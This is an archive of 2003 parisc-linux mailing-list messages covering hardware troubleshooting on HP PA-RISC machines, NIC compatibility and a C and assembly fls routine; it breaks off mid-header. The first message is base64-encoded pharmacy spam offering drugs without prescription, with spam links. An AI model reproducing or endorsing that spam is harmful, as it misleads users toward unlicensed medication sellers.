Message-ID: <v45$$$i3p8l7-l3$408$6--808$1$h3@es8.vp.mcp>
Reply-To: "Stewart Sweet" <fs85fhhfq@hongkong.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="13_86E0.EB6_.77.E"
X-Trace: ger.gmane.org 1416622655 28858 80.91.229.3 (22 Nov 2014 02:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 05:04:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ESLAMI (unknown [217.218.168.254])
	by dsl2.external.hp.com (Postfix) with SMTP id A8277482E
	for <parisc-linux@parisc-linux.org>; Thu,  7 Aug 2003 05:04:12 -0600 (MDT)
Original-Received: from (HELO 01l) [35.31.186.246] by ESLAMI id n14bJ0v9mo3H; Thu, 07 Aug 2003 14:00:40 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19121

--13_86E0.EB6_.77.E
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGh0bWw+DQoNCjxib2R5Pg0KDQo8Zm9udCBzaXplPSIyIj4NCg0KYWR2ZXJiPC9mb250Pg0K
DQo8cCBhbGlnbj0iY2VudGVyIj5IaSwgUGFyaXNjLWxpbnV4LCBNZWRpaWNhdGlvbnMgUHJl
c2NyaWJlZCBPbmxpbmUsIEdldCBQcmVzY3JpYmVkIFZWaWFncmEsRGlldFBpbGxzPC9wPg0K
DQo8cCBhbGlnbj0iY2VudGVyIj5hbmQgbXVjaG1vcmUgb25saW5lIU92ZXJuaWdodCBTaGlp
cHBpbmchISBObw0KUHJlc2NyaXB0aW9uISEgPGEgaHJlZj0iaHR0cDovL3d3dy5jaGFpci1n
cmVuYWRhLmNvbS92cHI2MjMyLyI+cyBlIGUmbmJzcDsgbm93ITwvYT48L3A+DQoNCjxwIGFs
aWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuY2hhaXItZ3JlbmFkYS5jb20vdnBy
NjIzMi8iPg0KPGltZyBib3JkZXI9IjAiIHNyYz0iaHR0cDovL21lZHMyNDcuaW5mby9hZHMu
anBnIiBhbHQ9ImdmZHNnIHNkZmdzZCBhc2RmYSBzZGYgZmFzZmFzZCBzIGZzZGVmc2Qgc2Qg
c2RmIHNkZnNkIHNkZiAgc2Rmc3MgICBzZGZzZGZzZGZzICBzZGRmICBzZGZzIHNkZiAgc2Rm
c2RzIj48L2E+PC9wPg0KDQo8Zm9udCBzaXplPSIyIj50cmFjZWFibGUmbmJzcDsmbmJzcDsm
bmJzcDsgY29sbGF0ZXJhbDwvZm9udD48cD48YSBocmVmPSJtYWlsdG86cmVtb3ZlQGhpZ2hz
cGlyaXQud3MiPjxmb250IHNpemU9IjIiPm4gbw0KbSBhIGkgbDwvZm9udD48L2E+PC9wPg0K
DQo8Zm9udCBzaXplPSIyIj5hdm9jYWRvJm5ic3A7IGxpYWlzb24gPC9mb250Pg0KPHA+PGZv
bnQgc2l6ZT0iMiI+a2hyb3FvJm5ic3A7IGJ1eHRvbiZuYnNwOyZuYnNwOyA8L2ZvbnQ+PC9w
Pg0KPHA+PGZvbnQgc2l6ZT0iMiI+ZXllc29yZTwvZm9udD48L3A+DQoNCjwvYm9keT4NCg0K
PC9odG1sPmx2a2huYSBxcXlsb2N5c3VpZ2FuamYNCiBjbHFscXFuaWlicGlvdWty



--13_86E0.EB6_.77.E--



From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "sugarat@mail.flyer.co.uk" <sugarat@mail.flyer.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xfree86 on C200
Date: Thu, 7 Aug 2003 07:15:43 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <48270-22003847111543568@M2W027.mail2web.com>
Reply-To: sugarat@mail.flyer.co.uk
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622655 28861 80.91.229.3 (22 Nov 2014 02:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 05:15:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay3.softcomca.com (relay3.softcomca.com [168.144.1.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8FF4482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 05:15:49 -0600 (MDT)
Original-Received: from M2W027.mail2web.com ([168.144.251.131]) by relay3.softcomca.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Thu, 7 Aug 2003 07:15:43 -0400
X-Priority: 3
X-Originating-IP: 143.52.204.199
X-URL: http://mail2web.com/
X-OriginalArrivalTime: 07 Aug 2003 11:15:43.0930 (UTC) FILETIME=[3E4981A0:01C35CD5]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19122

I am getting a weird error on attempting to run Xfree86 on my C200=2E  The=

kernel startup displays the fact that device fb0: has initialised okay, so=

the framebuffer is detected, but upon starting X I get a message saying
that the weight specified (000) is inconsistent with the colour depth (32)=


 Can anyone offer any advice please? I dont know what else to try now=2E=2E=
=20

 Many thanks,

   Adam


--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web=2Ecom/ =2E




From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edson Vittoriano P." <evittor@ctc.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Visualize C3000/785
Date: Thu, 7 Aug 2003 10:07:19 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <FOEGIGMJIFJFEHKDHMIIOEKECGAA.evittor@ctc.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622656 28862 80.91.229.3 (22 Nov 2014 02:17:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:36 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 08:08:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tie.cl (mta03.tie.cl [200.50.96.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F025482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 08:08:55 -0600 (MDT)
Original-Received: from rucapillan (200.54.200.46) by webmail.tie.cl (7.0.008)
        id 3F21B5D6001278C5 for parisc-linux@lists.parisc-linux.org; Thu, 7 Aug 2003 10:02:12 -0400
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19123

Greetings I tried to install PA-Risc Linux in a Visualize C3000/785, but it
happened a HPMC.

When I reinitiated the machine no longer I had console.

Now the single console unfolds prompt login, does not unfold the beginning
of firmware, nor no other operation of load, does not allow to conduct no
other operation.

Some idea?

Edson Vittoriano Piuzzi
Ingeniero de Seguridad Informtica/CISSP
Sub-Gerencia Explotacin de Redes y Servicios de Datos
Telefnica Empresas CTC Chile
Fono:(56)-(2)-691-50-71
Mvil: 9-321-25-23
Santiago-Chile



From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP Visualize C3000/785
Date: Thu, 7 Aug 2003 10:14:22 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20030807141421.GF13455@systemhalted>
References: <FOEGIGMJIFJFEHKDHMIIOEKECGAA.evittor@ctc.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622656 28866 80.91.229.3 (22 Nov 2014 02:17:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Edson Vittoriano P." <evittor@ctc.cl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 08:16:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id F16D6482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 08:16:54 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19klX4-000443-00; Thu, 07 Aug 2003 10:14:22 -0400
Content-Disposition: inline
In-Reply-To: <FOEGIGMJIFJFEHKDHMIIOEKECGAA.evittor@ctc.cl>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (55% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19124

Edson,

> Greetings I tried to install PA-Risc Linux in a Visualize C3000/785, but it
> happened a HPMC.

Que ISO estavas usando?

> When I reinitiated the machine no longer I had console.

What console? The actual firmware console, or an OS console? (e.g. you
previously had HPUX installed :).

> Now the single console unfolds prompt login, does not unfold the beginning
> of firmware, nor no other operation of load, does not allow to conduct no
> other operation.

What does this console look like? Feel free to writeup the description
in Spanish if you feel more comfortable (soy Argentino).

c.



From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: geos@canada.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] adding a second nic to B1000
Date: Thu, 07 Aug 2003 08:36:19 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20030807083620.21079.h004.c009.wm@mail.canada.com.criticalpath.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622656 28868 80.91.229.3 (22 Nov 2014 02:17:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 09:36:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c009.snv.cp.net (h018.c009.snv.cp.net [209.228.34.131])
	by dsl2.external.hp.com (Postfix) with SMTP id D014E482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 09:36:21 -0600 (MDT)
Original-Received: (cpmta 24416 invoked from network); 7 Aug 2003 08:36:20 -0700
Original-Received: from 209.228.34.117 (HELO mail.canada.com.criticalpath.net)
  by smtp.canada.com (209.228.34.131) with SMTP; 7 Aug 2003 08:36:20 -0700
X-Sent: 7 Aug 2003 15:36:20 GMT
Original-Received: from [206.47.0.172] by mail.canada.com with HTTP; Thu,
    07 Aug 2003 08:36:19 -0700 (PDT)
Content-Disposition: inline
X-Sent-From: geos@canada.com
X-Mailer: Web Mail 5.5.0-3_sol28
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19125

Ive been trying for 5 days not to get a second nic
installed into hp b1000 using pa-risc woody 3

iv read all i can find , been to all the irc chnls 
im at a loss here 

it may be the 3com 3C95x pci card does not work in this
box 

it should work with debian 
the card does work in i386 box 
the builtin nic works fine

can this be done? if so is there a howto ?
if this card is not supported what nic cards are ? 

TIA


From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a fast fls also for 2.6?
Date: Thu, 7 Aug 2003 17:37:35 +0200
Lines: 130
Approved: news@gmane.org
Message-ID: <3F2E2C7700000FE5@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622657 28873 80.91.229.3 (22 Nov 2014 02:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 09:37:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id A87E6482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 09:37:37 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19kmnI-0003Ex-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 07 Aug 2003 17:35:12 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 7 Aug 2003 17:37:35 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19126

Hi pa,

well as last 2.6 doesn't yet boot on my b2k and having any chance to grab
any debug info (I tried 32bits and 64bits kernel: same results. And only
TOC just refer to unrelevant info. OTC it seems to works fine on the b180.
I really don't know where to look for this bug?), I tried to understand better
Lamont's Fastffs code. To verify that I actualy understand it, I tried this
Fast_fls:

#include <stdio.h>
#include <limits.h>

int generic_fls(int x)
{
	int r = 32;

	if (!x)
		return 0;
	if (!(x & 0xffff0000u)) {
		x <<= 16;
		r -= 16;
	}
	if (!(x & 0xff000000u)) {
		x <<= 8;
		r -= 8;
	}
	if (!(x & 0xf0000000u)) {
		x <<= 4;
		r -= 4;
	}
	if (!(x & 0xc0000000u)) {
		x <<= 2;
		r -= 2;
	}
	if (!(x & 0x80000000u)) {
		x <<= 1;
		r -= 1;
	}
	return r;
}

int PseudoFast_fls(int x)
{
/*
    Rewritte off generic_fls to mimic what would be done in asm
    (just as proof of concept)
 */

	int r = 1;

	if (!x)
		return 0;
	if (!(x & 0xffff0000u))
		x <<= 16;
        else
		r += 16;
	if (!(x & 0xff000000u))
		x <<= 8;
        else
		r += 8;
	if (!(x & 0xf0000000u))
		x <<= 4;
        else
		r += 4;
	if (!(x & 0xc0000000u))
		x <<= 2;
        else
		r += 2;
	if (!(x & 0x80000000u))
		x <<= 1;
        else
		r += 1;
	return r;
}

int __fls(int x)
{
	int ret;
	__asm__(" ldi    1,%1\n"
		" extru,<>  %0,15,16,%%r0\n"
		" zdep,TR  %0,15,16,%0\n"
		" addi     16,%1,%1\n"
		" extru,<>  %0,7,8,%%r19\n"
		" zdep,TR  %0,23,24,%0\n"
		" addi     8,%1,%1\n"
		" extru,<>  %0,3,4,%%r19\n"
		" zdep,TR  %0,27,28,%0\n"
	 	" addi     4,%1,%1\n"
		" extru,<>  %0,1,2,%%r19\n"
		" zdep,TR  %0,29,30,%0\n"
		" addi     2,%1,%1\n"
		" extru,=  %0,0,1,%%r19\n"
		" addi     1,%1,%1\n"
		: "=r" (x), "=r" (ret)
		: "0" (x), "1" (ret));
	return ret;
}

int Fastfls(int x)
{
	int ret;
	if (!x)
		return 0;
	return (__fls(x));
}

main()
{
	unsigned int i;

	for (i=0; i<0xffffffffU; i++) {
/*		if (generic_fls(i) != PseudoFast_fls(i)) */
		if (generic_fls(i) != Fastfls(i))
			printf ("Problem with i = %#010x (%d)\n", i, i);
	}
}

Cheers,
    Joel

PS: Don not hesitate to let me know if you would like that I make a patch
with this stuff

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] adding a second nic to B1000
Date: Thu, 07 Aug 2003 11:42:02 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <3F329D7A.F993B697@cypress-tech.com>
References: <20030807083620.21079.h004.c009.wm@mail.canada.com.criticalpath.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622657 28878 80.91.229.3 (22 Nov 2014 02:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: geos@canada.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 09:41:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12E34482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 09:41:19 -0600 (MDT)
Original-Received: from cypress-tech.com ([209.241.53.134]) by cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Thu, 7 Aug 2003 11:42:05 -0400
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 07 Aug 2003 15:42:05.0906 (UTC) FILETIME=[74498320:01C35CFA]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19127

It might be the 3com card, the recommended NIC cards for the B1000 are
HP B5509BA PCI 10/100Base-TX and HP A4926A PCI 1000Base-SX

Jesse

geos@canada.com wrote:

> Ive been trying for 5 days not to get a second nic
> installed into hp b1000 using pa-risc woody 3
>
> iv read all i can find , been to all the irc chnls
> im at a loss here
>
> it may be the 3com 3C95x pci card does not work in this
> box
>
> it should work with debian
> the card does work in i386 box
> the builtin nic works fine
>
> can this be done? if so is there a howto ?
> if this card is not supported what nic cards are ?
>
> TIA
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] adding a second nic to B1000
Date: Thu, 7 Aug 2003 08:54:42 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20030807155442.GE4979@tausq.org>
References: <20030807083620.21079.h004.c009.wm@mail.canada.com.criticalpath.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622657 28885 80.91.229.3 (22 Nov 2014 02:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: geos@canada.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 09:51:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id F40DD482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 09:51:29 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 94108CD2FC; Thu,  7 Aug 2003 08:54:42 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030807083620.21079.h004.c009.wm@mail.canada.com.criticalpath.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19128

> it may be the 3com 3C95x pci card does not work in this
> box 
> it should work with debian 
> the card does work in i386 box 
> the builtin nic works fine

how does it "not work"? does it hang the box?

i have a spare 3c95x that i can try as well... (altho there are 
really many variants of the vortex/boomerang cards)

can you perhaps plug the card into a working i386 box and show us the
lspci -vvvn output?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] adding a second nic to B1000
Date: Thu, 7 Aug 2003 18:04:05 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <3F2E2C7700000FF2@ocpmta2.freegates.net>
References: <20030807083620.21079.h004.c009.wm@mail.canada.com.criticalpath.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622657 28889 80.91.229.3 (22 Nov 2014 02:17:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:37 +0000 (UTC)
To: geos@canada.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 10:04:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
